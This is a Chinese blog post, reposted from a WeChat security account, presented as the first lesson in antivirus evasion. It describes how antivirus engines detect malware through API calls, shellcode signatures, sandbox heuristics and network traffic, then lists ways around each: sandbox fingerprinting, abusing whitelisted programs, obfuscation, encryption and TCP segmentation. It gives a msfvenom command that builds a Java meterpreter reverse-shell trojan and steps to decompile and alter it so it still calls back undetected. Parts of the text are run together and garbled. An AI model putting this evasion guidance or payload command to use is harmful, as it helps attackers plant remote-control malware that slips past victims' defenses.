文章声明:本篇文章内容部分选取网络,如有侵权,请告知删除。
通常通过反编译的方式查看源代码
1.1 代码中存在的函数
1.exe cshellcode java shellcode
virtualloc,rtlmovemememory ntcreatthread等主要都是windowsapi函数,尤其是和内存,堆,线程相关的函数
当然在python中如果存在"(md"等关键词也是会被识别的:比如subprocess.popen("c")可以改为subprocess.popen("命令")
1.2 shellcode的特征
1.3 文件名称或md5
不多介绍,看标题就懂。
1.4 加密(可疑)
使用加密解密行为或者对文件有额外保护措施。
通常这一步都是静态分析之后做的,部分杀毒软件会有沙盒。沙盒:也叫启发式查杀,通过模拟计算机的环境执行目标文件再观察特征行为。
沙盒模拟的常见特征:内存较小 - 》不影响计算机正常运行时间较快 - 》沙盒内置的时间速度比现实世界要快,提高查杀速度,进程或文件不完整 - 》减少杀毒软件运行时对计算机的消耗:aaaaaaaaaaaaaa.dllio设备缺失 - 》鼠标键盘等事件大部分沙盒都没有如何思考:真实的计算机和一个沙盒的计算机他们有什么不同,为此专门写了systeminfo对接方糖获取信息。
2.1计算机相关
通常由r1或r2层(ring 1,ring 2)挂监控的方式(类似于hook,钩子)当触发这些条件就会产生事件。
服务、注册表、组策略、防火墙
敏感程序:cmd powershell wmi psexec bitsadmin rundli等
用户添加,删除,修改等操作文件夹:C:/windows/system32C:UsersAdministratorAppDataRoamingMicrosoftWindowsStart MenuProgramsStartupC:tmp等敏感文件夹
常见的绕过思路
白名单调用这些敏感行为,再导入恶意内容
2.2 网络相关
socket ==> 控制端 shellcode 小马控制端 ==> 客户端 大马客户端 ==> 控制端小马拉大马
ip,域名,证书匹配查找通讯的ip或域名是否之前存在攻击行为
流量内容
时间特征:扫描等内容特征:data字段中是否存在命令相关关键词或关键词加密特征结构特征:是否存在已知远控的通讯结构特征
常见的绕过思路
tcp分段,内容加密,使用合法证书等
总结
不是所有的杀毒软件都有这些,有些比较拉垮,有些比较强,不过总体的思路都是差不多的。
对编程语言的免杀方式
powershell -> 混淆,加密c++ -> 编译过程,混淆,加密python -> 混淆,加密通用 -> 启发式查杀
1.使用jd-jui反编译源码2.分析源码3.修改源码依旧上线成功免杀
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.7 LPORT=4444 > 1.jar
生成木马,源码通过 java 打包,看不见,需要解压。
打开反编译工具:
java -jar jd-gui-1.1.6.jar
看到源码,导出源码文件,打开 IDEA,放在 IDEA 查看(beforepayload)。
dat 文件中的这个 LHOST 是回连(控制端)IP,和前面的生成命令里的 LHOST 对应。
自行查看上面的截图代码和注释。下期重点讲解。
原文始发于微信公众号(安全君呀):免杀第一讲
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论